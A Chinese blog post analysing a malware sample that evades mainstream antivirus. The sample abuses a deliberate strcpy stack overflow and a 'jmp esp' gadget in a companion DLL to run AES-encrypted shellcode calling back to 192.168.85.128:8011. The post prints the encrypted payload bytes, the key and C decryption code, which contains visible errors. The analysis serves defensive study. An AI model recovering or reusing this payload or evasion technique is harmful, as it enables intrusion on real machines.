免杀国内主流杀软的恶意样本分析
目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序

动态执行,杀软也未拦截
上传到virustotal网站分析恶意程序,只有三个引擎检测出来
die分析恶意程序,未加壳,32位PE程序
将恶意程序导入ida pro进行静态分析
程序主函数伪代码很少,没有常见恶意程序使用的函数,首先程序往v15变量里导入了2012个A字符

然后定义了一个地址,通过查询,这个地址并未在当前程序中
然后往v10变量里放入了很多0x90,0x90是汇编指令中的nop指令,NOP 指令(No Operation)是一种在计算机汇编语言中常见的指令,它的作用是不执行任何操作,即空操作

然后往pbData变量里传入了一串值,根据后面的分析,这一串值是解密shellcode的key

v6,v8里的值就是payload

这里程序调用了memcpy函数,拼接字符,并且是将payload拼接到了其中
调用了__i3b_D2函数,将密钥和payload都导入了其中,是解密payload的函数
aes的解密方式,说明payload是经过aes加密过的

然后将一大串nop指令和payload用memcpy函数copy到指定的变量里,最后调用了Function函数
只有一个strcpy函数
程序主要的代码就这么多,还不知如何绕过杀软执行上线的
使用pe-bear分析程序
导入了四个dll库,其中ADVAPI32.DLL,KENNEL32.DLL,msvcrt.dll都是程序编译时,系统自动绑定的dll,只有fun.dll是第三方dll,用ida分析fun.dll
找到exe程序中定义的地址,是一个jmp esp指令

这个dll的代码只有jmp esp这一个功能
从程序里导出shellcode后解密
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, “crypt32.lib”)
void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {return;
}if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) {return;
}CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
int main(int argc, char argv[]) {
unsigned char payload[] = { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47, 0x74, 0x35, 0x2f, 0xd8, 0x25, 0xc6, 0xd0, 0x21, 0x77, 0x1b, 0xdc, 0xc6, 0xe8, 0xe8, 0x62, 0x5a, 0xe6, 0xe9, 0x31, 0xa, 0xff, 0xf2, 0x3f, 0xd1, 0x6, 0x9a, 0x62, 0x28, 0xf6, 0xec, 0xc8, 0x20, 0x4f, 0xe7, 0x6d, 0x82, 0x74, 0x84, 0xe2, 0xfa, 0xf, 0xff, 0x40, 0xcd, 0xea, 0x26, 0xa0, 0xe5, 0xcc, 0x7e, 0x67, 0x30, 0xa4, 0x21, 0xff, 0xcf, 0x79, 0xcb, 0xdc, 0xf0, 0x35, 0xa2, 0x6c, 0xc4, 0x54, 0xec, 0x4f, 0x94, 0xf, 0xdb, 0xb1, 0xb1, 0x60, 0x5e, 0x46, 0x87, 0xbf, 0x31, 0xc9, 0x30, 0xb6, 0xc6, 0xd4, 0x48, 0x0, 0x9a, 0x7f, 0x96, 0xdd, 0xa1, 0x15, 0xb9, 0xee, 0xd1, 0x91, 0x62, 0x5d, 0x98, 0xf6, 0x65, 0x37, 0xee, 0xce, 0x19, 0x16, 0x8f, 0x6d, 0xe2, 0x6f, 0x9f, 0xcb, 0x83, 0xd7, 0x2e, 0xdb, 0xcc, 0xae, 0x3e, 0xe, 0xad, 0x3c, 0xb0, 0xe3, 0x83, 0x9a, 0xac, 0xdd, 0x34, 0x2a, 0xa2, 0xe2, 0xee, 0xa1, 0x38, 0x81, 0xc, 0xb3, 0xfa, 0xfa, 0x71, 0x21, 0x7a, 0x2f, 0xb2, 0xa2, 0x57, 0xd, 0xaf, 0x37, 0xa4, 0x6d, 0x1f, 0x7f, 0x77, 0xb0, 0x7b, 0xdf, 0x68, 0xa, 0xe0, 0x35, 0xa7, 0xf0, 0x93, 0x0, 0xcf, 0x8e, 0x66, 0xc4, 0x32, 0xad, 0x9b, 0x4e, 0xdd, 0x4d, 0xb1, 0x11, 0xed, 0x56, 0x6b, 0x39, 0xe8, 0x57, 0xa7, 0x72, 0xf6, 0xb3, 0x95, 0xe0, 0x6a, 0xf2, 0x9f, 0x20, 0xfc, 0x41, 0xc5, 0xe7, 0x80, 0x7f, 0x1, 0x90, 0xaa, 0x13, 0xb2, 0xb4, 0xc, 0x74, 0xe5, 0x1f, 0x45, 0xdd, 0xc1, 0x34, 0x17, 0xb5, 0x1e, 0x84, 0x18, 0x4a, 0x9a, 0xbc, 0xc9, 0x8d, 0x54, 0xa1, 0x0, 0x57, 0xc, 0xc8, 0xec, 0x3a, 0xe8, 0x23, 0x65, 0x71, 0x7e, 0xeb, 0xc3, 0x46, 0x73, 0x6f, 0x50, 0xc7, 0x7d, 0x23, 0xe9, 0x25, 0x7a, 0xb2, 0x8f, 0x79, 0x7, 0xfd, 0xa4, 0x86, 0x90, 0xb5, 0xdc, 0xbb, 0x97, 0x2, 0xf7, 0xd4, 0x99, 0xfe, 0x1a, 0xc1, 0x9c, 0xd8, 0x8d, 0x88, 0xf, 0x34, 0xe6, 0xfc, 0xa0, 0xdb, 0x2d, 0x96, 0x14, 0xef, 0x11, 0xeb, 0x53, 0x17, 0x5d, 0x6b, 0x4c, 0xbd, 0xe8, 0xf5, 0x20, 0x31, 0x3e, 0x4e, 0x8c, 0xa1, 0xc8, 0xc7, 0x70, 0xbd, 0xdc, 0xa4, 0xc, 0x79, 0x29, 0x19, 0x1e, 0xb2, 0x7d, 0x6b, 0xbc, 0xb2, 0xed, 0xa2, 0xe9, 0x1f, 0x31, 0x3c, 0xd2, 0xb0, 0x43, 0xec, 0xe4, 0x46, 0x42, 0x3c, 0xe3, 0x25, 0xa9, 0xda, 0x34, 0xa2, 0xbb, 0xf7, 0x9d, 0x32, 0x57, 0xdf, 0xd7, 0xcf, 0xfc, 0x9, 0x10, 0x9, 0x6, 0x4b, 0xf6, 0x2, 0xf8, 0xed, 0x5c, 0x45, 0x15, 0x8b, 0x61, 0x61, 0x65, 0x9d, 0x58, 0x27, 0xe8, 0xe3, 0x22, 0xbb, 0x2e, 0x1e, 0x94, 0x7f, 0xa4, 0xe2, 0x36, 0x41, 0x2d, 0x24, 0xb, 0x40, 0x29, 0xf6, 0x24, 0x1e, 0xf8, 0xe8, 0xb0, 0xf5, 0x45, 0xb7, 0xd9, 0x69, 0x52, 0xae, 0xae, 0xa1, 0xb1, 0xec, 0x97, 0x78, 0x5b, 0x9b, 0x3c, 0x7e, 0xe6, 0xbf, 0xb, 0x86, 0x7, 0xee, 0xfb, 0xe9, 0xfb, 0xc, 0xdf, 0xa7, 0xda, 0xdb, 0x99, 0xa7, 0xc, 0x72, 0x4f, 0x11, 0xd7, 0x11, 0xf0, 0x18, 0x86, 0x4e, 0x3a, 0x2b, 0x1d, 0x3d, 0x39, 0xab, 0xe9, 0xc, 0xde, 0xc7, 0xf0, 0x50, 0x8, 0xbd, 0x83, 0x32, 0xda, 0x85, 0x45, 0x15, 0x60, 0x63, 0xeb, 0xb3, 0xa6, 0x2f, 0x22, 0x7c, 0xb3, 0x87, 0xfc, 0xf0, 0xad, 0xd, 0x4e, 0x46, 0xa9, 0x68, 0xd3, 0xc9, 0xd4, 0x47, 0xf7, 0xbc, 0xee, 0x29, 0xc6, 0x3f, 0x68, 0x1d, 0xab, 0x32, 0x0, 0x9, 0x6f, 0xc0, 0xf5, 0x86, 0xe1, 0xc1, 0x7d, 0x51, 0x4b, 0xe5, 0xce, 0x76, 0x4b, 0x84, 0x6b, 0x71, 0xc6, 0x0, 0x9c, 0xe0, 0x7c, 0x19, 0xc5, 0x7a, 0xa8, 0xfb, 0x5f, 0x56, 0x31, 0x67, 0xf1, 0x72, 0x48, 0xf5, 0x19, 0xd4, 0xc7, 0xb7, 0xec, 0xe2, 0x60, 0xf, 0x65, 0x18, 0x7e, 0x7b, 0xd1, 0x24, 0xd8, 0x19, 0xb4, 0x6b, 0x5f, 0xab, 0x67, 0x4, 0xeb, 0x46, 0x3e, 0x55, 0xcf, 0xa1, 0xf, 0xa8, 0xd0, 0xef, 0xd8, 0xa1, 0x9, 0xd1, 0xca, 0x59, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a };
unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 };
DWORD code_length = sizeof(payload);
aes_de((char)code, code_length, key, sizeof(key));
printf(payload);
使用scdbg分析shellcode,发现shellcode外连了一个ip,192.168.85.128,端口为8011,根据上面的浏览器http流量头,可以知道恶意程序使用的payload是msf或者cs生成的http payload

动态分析exe,使用System Informer监听后台,发现程序并没有启动其他的子程序

执行程序,在0x62501443地址处打一个断点
用xdbg调试程序,运行到程序入口处
F8一步一步查看程序,在下面程序跳转到了0x401658地址处
在执行了memset函数时,堆栈里都被A覆盖了
这里本来是要跳转到0x4017c6地址处的,但是直接跳转到了jmp esp指令地址处,程序被栈溢出后控制了返回地址

执行jmp esp后,首先是一长串的NOP指令
nop指令后面的就是aes解密后的payload指令
现在知道了程序的执行流,恶意程序设置了一个存在栈溢出的函数,然后用strcpy函数触发栈溢出攻击,将jmp esp指令放到dll库里是为了固定指令地址,在不同环境上稳定运行,这里放上一个程序执行流程图
通过流量监控,也找到恶意程序外连ip 192.168.85.128 端口8011

scdbg工具下载地址:
http://sandsprite.com/blogs/index.php?uid=7&pid=152
相关文章:
免杀国内主流杀软的恶意样本分析
目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序 动态执行,杀软也未拦截 上传到virustotal网站分析恶意程序,只有三个引擎检测出来 die分析…...
第4章 基于中点电流的NPC逆变器中点电压平衡策略
1. 工作原理 1.1 NPC型三电平逆变器工作原理 NPC型三相三电平逆变器有A、B、C三个桥臂,其组成结构是相同的,本章以A相为例,对其工作原理进行分析。开关器件SA1和SA3、SA2和SA4为互补器件,通过控制开关器件的导通和关断状态&#…...
消息队列篇--通信协议篇--应用层协议和传输层协议理解
在网络通信中,传输层协议和应用层协议是OSI模型中的两个不同层次的协议,它们各自承担着不同的职责。 下文中,我们以TCP/UDP(传输层协议)和HTTP/SMTP(应用层协议)为例进行详细解释。 1、传输层协…...
FLTK - FLTK1.4.1 - demo - animgifimage
文章目录 FLTK - FLTK1.4.1 - demo - animgifimage概述笔记END FLTK - FLTK1.4.1 - demo - animgifimage 概述 知识点: 注册图像文件类型判断回调 FLTK支持的图像格式 GIF, BMP, ICO, PNM, PNG, jpg, svg 事件回调的注册 GIF图像显示为图片或动画的标志设置 // 超时回调的设置…...
目前市场主流的AI PC对于大模型本地部署的支持情况分析-Deepseek
以下是目前市场主流AI PC对**大模型本地部署支持情况**的综合分析,结合硬件能力、软件生态及厂商动态进行总结: --- ### **一、硬件配置与算力支持** 1. **核心处理器架构** - **异构计算方案(CPUGPUNPU)**:主流…...
1.2 基于深度学习的底层视觉技术
文章目录 高层视觉任务与底层视觉任务深度神经网络相对于传统方法的优势 高层视觉任务与底层视觉任务 计算机视觉中的任务包含高层视觉任务,底层视觉任务。高层视觉任务是处理语义级别相关的任务,例如图像分类、目标检测、图像分割等。底层视觉任务处理与…...
HTML 标题
HTML 标题 引言 HTML(超文本标记语言)是构建网页的基础,而标题则是网页中不可或缺的元素。标题不仅能够帮助用户快速了解网页内容,还能够对搜索引擎优化(SEO)产生重要影响。本文将详细介绍HTML标题的用法…...
SOME/IP--协议英文原文讲解3
前言 SOME/IP协议越来越多的用于汽车电子行业中,关于协议详细完全的中文资料却没有,所以我将结合工作经验并对照英文原版协议做一系列的文章。基本分三大块: 1. SOME/IP协议讲解 2. SOME/IP-SD协议讲解 3. python/C举例调试讲解 Note: Thi…...
Microsoft Visual Studio 2022 主题修改(补充)
Microsoft Visual Studio 2022 透明背景修改这方面已经有很多佬介绍过了,今天闲来无事就补充几点细节。 具体的修改可以参考:Microsoft Visual Studio 2022 透明背景修改(快捷方法)_material studio怎么把背景弄成透明-CSDN博客文…...
UE(UltraEdit) 配置简易C/C++编译运行环境
该类型其他帖子 EmEditor 配置简易C/C 编译运行环境_emeditor 代码运行-CSDN博客 RJ TextEd 配置简易C/C 编译运行环境-CSDN博客 这种配置适合ACM竞赛,即要求不使用现代IDE,又想用一个比较好用、至少支持代码高亮的编辑器。 前提条件 1.Mingw GCC 已…...
使用 MSYS2 qemu 尝鲜Arm64架构国产Linux系统
近期,我的师弟咨询我关于Arm64架构的国产CPU国产OS开发工具链问题。他们公司因为接手了一个国企的单子,需要在这类环境下开发程序。说实在的我也没有用过这个平台,但是基于常识,推测只要基于C和Qt,应该问题不大。 1. …...
python Flask-Redis 连接远程redis
当使用Flask-Redis连接远程Redis时,首先需要安装Flask-Redis库。可以通过以下命令进行安装: pip install Flask-Redis然后,你可以使用以下示例代码连接远程Redis: from flask import Flask from flask_redis import FlaskRedisa…...
在Windows系统中本地部署属于自己的大语言模型(Ollama + open-webui + deepseek-r1)
文章目录 1 在Windows系统中安装Ollama,并成功启动;2 非docker方式安装open-webui3下载并部署模型deepseek-r1 Ollama Ollama 是一个命令行工具,用于管理和运行机器学习模型。它简化了模型的下载与部署,支持跨平台使用,…...
Haproxy入门学习二
一、Haproxy的算法 1.haproxy通过固定参数balance指明对后端服务器的调度算法,其中balance参数可以配置在listen或backend选项中 2.haproxy的调度算法分为静态和动态调度算法,其中有些算法可以根据参数在静态和动态算法中相互转换 3.静态算法:…...
Git图形化工具【lazygit】
简要介绍一下偶然发现的Git图形化工具——「lazygit」 概述 Lazygit 是一个用 Go 语言编写的 Git 命令行界面(TUI)工具,它让 Git 操作变得更加直观和高效。 Github地址:https://github.com/jesseduffield/lazygit 主要特点 主要…...
node 爬虫开发内存处理 zp_stoken 作为案例分析
声明: 本文章中所有内容仅供学习交流使用,不用于其他任何目的,抓包内容、敏感网址、数据接口等均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关! 前言 主要说3种我们补环境过后如果用…...
基于Langchain-Chatchat + ChatGLM 本地部署知识库
一、相关环境 参考链接: Github:https://github.com/chatchat-space/Langchain-Chatchat Langchain-chatchat版本:v0.3.1 安装环境:Ubuntu:22.04,CUDA:12.1 二、搭建过程 2.1 环境配置 2.1.1 创建chatchat虚拟环…...
【C语言】main函数解析
一、前言 在学习编程的过程中,我们很早就接触到了main函数。在Linux系统中,当你运行一个可执行文件(例如 ./a.out)时,如果需要传入参数,就需要了解main函数的用法。本文将详细解析main函数的参数ÿ…...
【QT】- QUdpSocket
QUdpSocket 是 Qt 自带的一个类,属于 Qt 网络模块,用于进行 UDP(用户数据报协议) 通信。它提供了简便的接口来发送和接收 UDP 数据报(datagrams)。 UDP 是一种无连接的协议,适用于那些不需要确…...
性能测试丨分布式性能监控系统 SkyWalking
软件测试领域,分布式系统的复杂性不断增加,如何保证应用程序的高可用性与高性能,这是每一个软件测试工程师所面临的重大挑战。幸运的是,现在有了一些强大的工具来帮助我们应对这些挑战,其中之一便是Apache SkyWalking。…...
label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
Keil 中设置 STM32 Flash 和 RAM 地址详解
文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...
DeepSeek 技术赋能无人农场协同作业:用 AI 重构农田管理 “神经网”
目录 一、引言二、DeepSeek 技术大揭秘2.1 核心架构解析2.2 关键技术剖析 三、智能农业无人农场协同作业现状3.1 发展现状概述3.2 协同作业模式介绍 四、DeepSeek 的 “农场奇妙游”4.1 数据处理与分析4.2 作物生长监测与预测4.3 病虫害防治4.4 农机协同作业调度 五、实际案例大…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...
安宝特案例丨Vuzix AR智能眼镜集成专业软件,助力卢森堡医院药房转型,赢得辉瑞创新奖
在Vuzix M400 AR智能眼镜的助力下,卢森堡罗伯特舒曼医院(the Robert Schuman Hospitals, HRS)凭借在无菌制剂生产流程中引入增强现实技术(AR)创新项目,荣获了2024年6月7日由卢森堡医院药剂师协会࿰…...
搭建DNS域名解析服务器(正向解析资源文件)
正向解析资源文件 1)准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2)服务端安装软件:bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...
毫米波雷达基础理论(3D+4D)
3D、4D毫米波雷达基础知识及厂商选型 PreView : https://mp.weixin.qq.com/s/bQkju4r6med7I3TBGJI_bQ 1. FMCW毫米波雷达基础知识 主要参考博文: 一文入门汽车毫米波雷达基本原理 :https://mp.weixin.qq.com/s/_EN7A5lKcz2Eh8dLnjE19w 毫米波雷达基础…...
springboot 日志类切面,接口成功记录日志,失败不记录
springboot 日志类切面,接口成功记录日志,失败不记录 自定义一个注解方法 import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; import java.lang.annotation.Target;/***…...
SpringAI实战:ChatModel智能对话全解
一、引言:Spring AI 与 Chat Model 的核心价值 🚀 在 Java 生态中集成大模型能力,Spring AI 提供了高效的解决方案 🤖。其中 Chat Model 作为核心交互组件,通过标准化接口简化了与大语言模型(LLM࿰…...
